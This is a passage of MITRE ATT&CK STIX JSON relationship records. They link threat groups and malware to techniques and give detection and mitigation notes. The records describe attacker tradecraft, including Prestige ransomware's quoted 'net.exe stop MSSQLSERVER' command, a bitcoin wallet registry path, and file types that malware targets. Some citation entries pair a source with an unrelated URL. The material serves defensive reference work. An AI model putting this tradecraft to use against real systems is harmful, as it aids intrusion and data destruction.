"type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "New, benign system processes may be created during installation of new software.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--27bf147a-1e8b-481d-8910-3af3e64aa18c", "created": "2022-02-17T15:40:15.864Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}, {"source_name": "Unit 42 Gamaredon February 2022", "url": "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)", "modified": "2022-04-15T12:06:00.004Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27c0f853-f7b0-43e9-b980-7965d1227a9e", "type": "relationship", "created": "2020-01-15T18:00:33.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-24T23:47:39.219Z", "description": "Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27c397ca-aaa1-4cf5-b663-bde9b82050a6", "type": "relationship", "created": "2020-04-28T18:12:13.490Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium KONNI Jan 2020", "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "description": "Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."}], "modified": "2020-04-28T18:12:13.490Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) has used FTP to exfiltrate reconnaissance data out.(Citation: Medium KONNI Jan 2020)", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27c6ffb3-836c-4a43-9862-b77c8e4a8256", "created": "2023-01-05T20:27:17.309Z", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-05T20:27:17.309Z", "description": "(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27c7f9ed-dd66-4bc0-a186-2f05aac6d6df", "type": "relationship", "created": "2021-09-28T18:53:02.562Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.303Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27ccf817-33de-4d85-85e5-851f82e835e4", "type": "relationship", "created": "2020-06-01T14:41:54.720Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-16T16:43:36.124Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to inject a downloaded DLL into a newly created rundll32.exe process.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27cdb886-b7be-4a6a-b740-f4c6a0a2e412", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for changes made to files that may use hidden windows to conceal malicious activity from the plain sight of users. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27d0ccf1-00df-40f5-ad96-807e54862467", "created": "2023-05-22T20:23:30.274Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-05-22T20:23:30.274Z", "description": "[QUIETCANARY](https://attack.mitre.org/software/S1076) can use a custom parsing routine to decode the command codes and additional parameters from the C2 before executing them.(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27d4f0a9-7f8f-4d3d-b130-fd096bede2e9", "type": "relationship", "created": "2019-06-07T19:05:01.812Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html", "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.", "source_name": "Moran 2013"}, {"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2020-03-17T01:36:33.102Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses HTTP for command and control.(Citation: Moran 2013)(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27d95bad-b939-43eb-a683-c3c3367cf728", "created": "2024-04-03T21:09:16.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelOne SocGholish Infrastructure November 2022", "description": "Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.", "url": "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-03T21:09:56.669Z", "description": "[Mustard Tempest](https://attack.mitre.org/groups/G1020) has hosted payloads on acquired second-stage servers for periods of either days, weeks, or months.(Citation: SentinelOne SocGholish Infrastructure November 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27dcfdc7-f5d5-49b4-ad4e-afd43974c43c", "type": "relationship", "created": "2019-01-30T13:53:14.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2019-04-17T22:22:21.920Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27e3d3fc-fdd5-48f3-98aa-6b374ff98ed1", "type": "relationship", "created": "2022-02-16T22:33:40.153Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-16T22:36:04.301Z", "description": "Upgrade management services to the latest supported and compatible version.  Specifically, any version providing increased password complexity or policy enforcement preventing default or weak passwords. ", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--27e4d51a-77c3-462c-8eb7-0a690f61bb98", "created": "2022-03-30T14:26:51.870Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "modified": "2022-04-20T03:17:46.563Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27e7969b-a0bf-4db6-90bf-1f17c5e0c853", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "source_name": "Unit 42 Playbook Dec 2017"}], "modified": "2020-03-20T18:14:31.607Z", "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.(Citation: Unit 42 Playbook Dec 2017)", "relationship_type": "uses", "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"}], "modified": "2021-10-12T21:19:30.584Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has used the meek domain fronting plugin for [Tor](https://attack.mitre.org/software/S0183) to hide the destination of C2 traffic.(Citation: Mandiant No Easy Breach)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27e8d133-848b-4db0-ac79-b5a37da879f1", "type": "relationship", "created": "2019-01-30T15:47:41.459Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Lazarus Nov 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "description": "Trend Micro. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Clambling](https://attack.mitre.org/software/S0660) has the ability to enumerate Registry keys, including <code>KEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt\\strDataDir</code> to search for a bitcoin wallet.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)", "modified": "2022-04-15T14:15:25.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27f561f4-2631-4d82-b384-4e7a208ba484", "type": "relationship", "created": "2021-10-17T15:10:00.657Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. 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Retrieved January 4, 2021."}], "modified": "2021-01-05T15:10:47.205Z", "description": "[Pay2Key](https://attack.mitre.org/software/S0556) has used RSA encrypted communications with C2.(Citation: Check Point Pay2Key November 2020)", "relationship_type": "uses", "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27fcfb28-a452-42fe-b33e-0bb76550e883", "type": "relationship", "created": "2020-01-10T03:43:37.373Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-10T03:43:37.373Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27fd8291-3fba-49e9-a2e0-d3a76a584471", "type": "relationship", "created": "2021-08-03T14:06:06.937Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-10-16T01:24:29.262Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) can call <code>window.location.pathname</code> to ensure that embedded files are being executed from the C: drive, and will terminate if they are not.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27fde8e9-ab78-43aa-9642-14ac0cd958ff", "created": "2019-10-11T17:09:28.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-04T21:11:42.716Z", "description": "Limit user account and IAM policies to the least privileges required.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27fe3870-1ce3-4f62-be7c-6da08d09643c", "created": "2022-10-10T19:34:42.629Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. 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Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-23T19:45:53.368Z", "description": "[Prestige](https://attack.mitre.org/software/S1058) has attempted to stop the MSSQL Windows service to ensure successful encryption using `C:\\Windows\\System32\\net.exe stop MSSQLSERVER`.(Citation: Microsoft Prestige ransomware October 2022)", "relationship_type": "uses", "source_ref": "malware--1da748a5-875d-4212-9222-b4c23ab861be", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28084f31-80be-472b-bd15-6945b2905a93", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. 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Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.048Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) deletes one of its files, 2.hwp, from the endpoint after establishing persistence.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--280a43f3-5b70-405d-9848-4d5c1aa8e90d", "created": "2023-03-20T18:42:34.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T14:05:32.262Z", "description": "Monitor executed scripts for indicators of obfuscation and potentially suspicious command syntax, such as uninterpreted escape characters (e.g., `^`).\n\nAlso monitor commands within scripts for syntax-specific signs of obfuscation, such as encoded or otherwise unreadable blobs of characters.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--280bb6ec-0d7f-4a42-a3f2-7a3b43886126", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Alperovitch 2014", "url": "https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/", "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used ping to identify other machines of interest.(Citation: Alperovitch 2014)", "modified": "2022-07-20T20:10:29.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28139c5b-be96-44d2-8e54-425311d108d6", "type": "relationship", "created": "2017-05-31T21:33:27.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "source_name": "Cymmetria Patchwork"}], "modified": "2021-11-02T21:07:07.422Z", "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.(Citation: Cymmetria Patchwork)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2815c919-1fcb-4ddc-bb04-56dff63854e7", "created": "2022-09-06T13:46:10.711Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Medium Ali Salem Bumblebee April 2022", "description": "Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.", "url": "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-06T13:49:15.719Z", "description": "[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to search for designated file paths and Registry keys that indicate a virtualized environment from multiple products.(Citation: Medium Ali Salem Bumblebee April 2022)", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2816f512-1a04-4cf8-94e9-36720b949c76", "type": "relationship", "created": "2017-05-31T21:33:27.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "source_name": "Cymmetria Patchwork"}], "modified": "2021-11-02T21:07:07.628Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) attempted to use RDP to move laterally.(Citation: Cymmetria Patchwork)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 